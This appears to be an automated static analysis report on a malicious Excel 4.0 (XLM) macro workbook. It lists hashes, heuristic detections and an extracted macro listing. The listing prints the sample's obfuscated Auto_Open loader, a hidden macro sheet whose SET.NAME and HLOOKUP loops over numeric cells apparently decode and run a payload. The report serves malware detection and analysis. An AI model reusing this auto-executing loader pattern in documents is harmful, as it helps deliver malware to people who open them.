Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7272cdc384b82d2a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:38:02 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 4bc9266fc1ba1548c5058705aca8e722 SHA-1: 63d2bfc4a3a2873f65d2017ead4bdf0d79531e27 SHA-256: 7272cdc384b82d2af00a7c54f8e4da1b1ea5b4f6f9b47854600924e04c912257
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6857 bytes
SHA-256: a0964127d8ae1c12466ffe38258621fb21c3a566647bc9507dca18c5f4b62716
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  qoeDQUuNdXI
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D151 
' 0018     22 LABEL : Cell Value, String Constant - aXkOsjU len=0 
' 0018     21 LABEL : Cell Value, String Constant - bRmeCl len=0 
' 0018     25 LABEL : Cell Value, String Constant - cpwExWcxNZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - EkhXsFGq len=0 
' 0018     24 LABEL : Cell Value, String Constant - eSxXXOPmS len=0 
' 0018     22 LABEL : Cell Value, String Constant - GAtTIqz len=0 
' 0018     22 LABEL : Cell Value, String Constant - GyEzOam len=0 
' 0018     23 LABEL : Cell Value, String Constant - HtePrKpu len=0 
' 0018     27 LABEL : Cell Value, String Constant - IswzSKLHdRCS len=0 
' 0018     22 LABEL : Cell Value, String Constant - jGjovTM len=0 
' 0018     20 LABEL : Cell Value, String Constant - KceGy len=0 
' 0018     20 LABEL : Cell Value, String Constant - KTbIb len=0 
' 0018     25 LABEL : Cell Value, String Constant - MiXJzmoDTI len=0 
' 0018     25 LABEL : Cell Value, String Constant - mrbTWSVsxX len=0 
' 0018     21 LABEL : Cell Value, String Constant - qEmIDW len=0 
' 0018     23 LABEL : Cell Value, String Constant - qHXzQdbt len=0 
' 0018     25 LABEL : Cell Value, String Constant - QRJZqugleQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - ThVsGIVO len=0 
' 0018     25 LABEL : Cell Value, String Constant - xMjhPcCXek len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZYlyTePGOEae len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  qoeDQUuNdXI,D62,"SET.NAME("aXkOsjU",0+VALUE("0"))",""
'  qoeDQUuNdXI,D67,"SET.NAME("bRmeCl",aXkOsjU)",""
'  qoeDQUuNdXI,D71,"SET.NAME("QRJZqugleQ",aXkOsjU)",""
'  qoeDQUuNdXI,D76,"SET.NAME("KTbIb",COUNTA(xMjhPcCXek))",""
'  qoeDQUuNdXI,R76,"",-943.00000000000000000000
'  qoeDQUuNdXI,R77,"",113.00000000000000000000
'  qoeDQUuNdXI,R78,"",-108.00000000000000000000
'  qoeDQUuNdXI,R79,"",-450.00000000000000000000
'  qoeDQUuNdXI,D80,"SET.NAME("EkhXsFGq",COUNTA(eSxXXOPmS))",""
'  qoeDQUuNdXI,R80,"",-991.00000000000000000000
'  qoeDQUuNdXI,R81,"",-752.00000000000000000000
'  qoeDQUuNdXI,D82,[],""
'  qoeDQUuNdXI,D85,"SET.NAME("mrbTWSVsxX","")",""
'  qoeDQUuNdXI,D90,"bRmeCl",""
'  qoeDQUuNdXI,D95,"SET.NAME("qHXzQdbt",HLOOKUP("*",xMjhPcCXek,bRmeCl,FALSE))",""
'  qoeDQUuNdXI,D98,"GAtTIqz",""
'  qoeDQUuNdXI,D101,"SET.NAME("KceGy",aXkOsjU)",""
'  qoeDQUuNdXI,D104,[],""
'  qoeDQUuNdXI,D107,"KceGy",""
'  qoeDQUuNdXI,D109,"GyEzOam",""
'  qoeDQUuNdXI,D113,"cpwExWcxNZ",""
'  qoeDQUuNdXI,D116,"IswzSKLHdRCS",""
'  qoeDQUuNdXI,D119,"SET.NAME("qEmIDW",VALUE(HLOOKUP("*",eSxXXOPmS,IswzSKLHdRCS,FALSE)))",""
'  qoeDQUuNdXI,D121,"ZYlyTePGOEae",""
'  qoeDQUuNdXI,D123,"mrbTWSVsxX",""
'  qoeDQUuNdXI,D128,"QRJZqugleQ",""
'  qoeDQUuNdXI,D130,NEXT(),""
'  qoeDQUuNdXI,D133,"MiXJzmoDTI",""
'  qoeDQUuNdXI,D137,[],""
'  qoeDQUuNdXI,D141,"HtePrKpu",""
'  qoeDQUuNdXI,D144,NEXT(),""
'  qoeDQUuNdXI,D146,RETURN(),""
'  qoeDQUuNdXI,D179,"SET.NAME("jGjovTM",D62)",""
'  qoeDQUuNdXI,D183,"xMjhPcCXek",""
'  qoeDQUuNdXI,D186,"SET.NAME("eSxXXOPmS",R54C12)",""
'  qoeDQUuNdXI,D191,"SET.NAME("HtePrKpu",200)",""
'  qoeDQUuNdXI,D194,"SET.NAME("ThVsGIVO",4)",""
'  qoeDQUuNdXI,D199,jGjovTM(),""
'  qoeDQUuNdXI,D200,HALT(),""

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